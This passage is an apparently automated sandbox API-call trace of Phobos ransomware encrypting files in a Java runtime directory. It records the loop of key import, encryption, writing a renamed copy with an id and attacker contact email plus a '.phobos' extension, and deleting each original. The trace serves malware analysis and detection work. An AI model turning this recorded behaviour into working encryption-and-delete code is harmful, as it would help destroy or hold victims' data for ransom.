Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.034] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752dd8) returned 1 [0135.034] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.034] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x3e40, lpOverlapped=0x0) returned 1 [0135.065] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50, dwBufLen=0x3e50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3e50) returned 1 [0135.065] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x3e50, lpOverlapped=0x0) returned 1 [0135.067] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752e58) returned 1 [0135.067] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.067] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.067] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.067] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.067] CryptDestroyKey (hKey=0x752dd8) returned 1 [0135.067] CloseHandle (hObject=0x300) returned 1 [0135.067] CloseHandle (hObject=0x2b4) returned 1 [0135.067] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0135.068] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.068] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=206912) returned 1 [0135.068] CloseHandle (hObject=0x2b4) returned 1 [0135.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0135.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.069] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.069] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.162] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752f18) returned 1 [0135.162] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.162] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x32840, lpOverlapped=0x0) returned 1 [0135.224] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x32850, dwBufLen=0x32850 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x32850) returned 1 [0135.224] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x32850, lpOverlapped=0x0) returned 1 [0135.227] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x7530d8) returned 1 [0135.227] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.227] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.228] CryptDestroyKey (hKey=0x7530d8) returned 1 [0135.228] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.228] CryptDestroyKey (hKey=0x752f18) returned 1 [0135.228] CloseHandle (hObject=0x2b4) returned 1 [0135.228] CloseHandle (hObject=0x300) returned 1 [0135.228] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0135.230] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.230] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=80448) returned 1 [0135.230] CloseHandle (hObject=0x300) returned 1 [0135.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0135.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.230] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.230] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.231] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x7530d8) returned 1 [0135.231] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.231] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x13a40, lpOverlapped=0x0) returned 1 [0135.248] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x13a50, dwBufLen=0x13a50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x13a50) returned 1 [0135.248] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x13a50, lpOverlapped=0x0) returned 1 [0135.250] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752dd8) returned 1 [0135.250] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.250] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.250] CryptDestroyKey (hKey=0x752dd8) returned 1 [0135.250] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.250] CryptDestroyKey (hKey=0x7530d8) returned 1 [0135.250] CloseHandle (hObject=0x300) returned 1 [0135.250] CloseHandle (hObject=0x2b4) returned 1 [0135.251] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0135.258] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.259] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=538176) returned 1 [0135.259] CloseHandle (hObject=0x2b4) returned 1 [0135.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0135.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.259] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.259] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.259] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752a18) returned 1 [0135.259] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.260] ReadFile (in: hFile=0x2b4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x83640, lpOverlapped=0x0) returned 1 [0135.404] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x83650, dwBufLen=0x83650 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x83650) returned 1 [0135.404] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x83650, lpOverlapped=0x0) returned 1 [0135.453] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d98) returned 1 [0135.453] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.453] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50, dwBufLen=0x50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x50) returned 1 [0135.453] CryptDestroyKey (hKey=0x752d98) returned 1 [0135.453] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x102, lpOverlapped=0x0) returned 1 [0135.453] CryptDestroyKey (hKey=0x752a18) returned 1 [0135.453] CloseHandle (hObject=0x2b4) returned 1 [0135.453] CloseHandle (hObject=0x300) returned 1 [0135.453] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0135.458] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.458] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=206912) returned 1 [0135.458] CloseHandle (hObject=0x300) returned 1 [0135.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0135.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0135.458] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.458] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.459] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753098) returned 1 [0135.459] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.459] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x32840, lpOverlapped=0x0) returned 1 [0135.557] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x32850, dwBufLen=0x32850 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x32850) returned 1 [0135.557] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x32850, lpOverlapped=0x0) returned 1 [0135.562] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753198) returned 1 [0135.562] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.562] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.562] CryptDestroyKey (hKey=0x753198) returned 1 [0135.562] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.562] CryptDestroyKey (hKey=0x753098) returned 1 [0135.562] CloseHandle (hObject=0x300) returned 1 [0135.562] CloseHandle (hObject=0x2b4) returned 1 [0135.564] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0135.569] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.569] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=14400) returned 1 [0135.569] CloseHandle (hObject=0x30c) returned 1 [0135.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0135.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.570] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.570] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0135.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.573] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753098) returned 1 [0135.573] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.573] ReadFile (in: hFile=0x30c, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x3840, lpOverlapped=0x0) returned 1 [0135.583] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3850, dwBufLen=0x3850 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x3850) returned 1 [0135.583] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x3850, lpOverlapped=0x0) returned 1 [0135.585] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752d58) returned 1 [0135.585] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0135.585] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0135.585] CryptDestroyKey (hKey=0x752d58) returned 1 [0135.585] WriteFile (in: hFile=0x2b4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0135.585] CryptDestroyKey (hKey=0x753098) returned 1 [0135.585] CloseHandle (hObject=0x30c) returned 1 [0135.585] CloseHandle (hObject=0x2b4) returned 1 [0135.586] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1 [0135.592] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0135.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.601] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=201792) returned 1 [0135.601] CloseHandle (hObject=0x2e4) returned 1 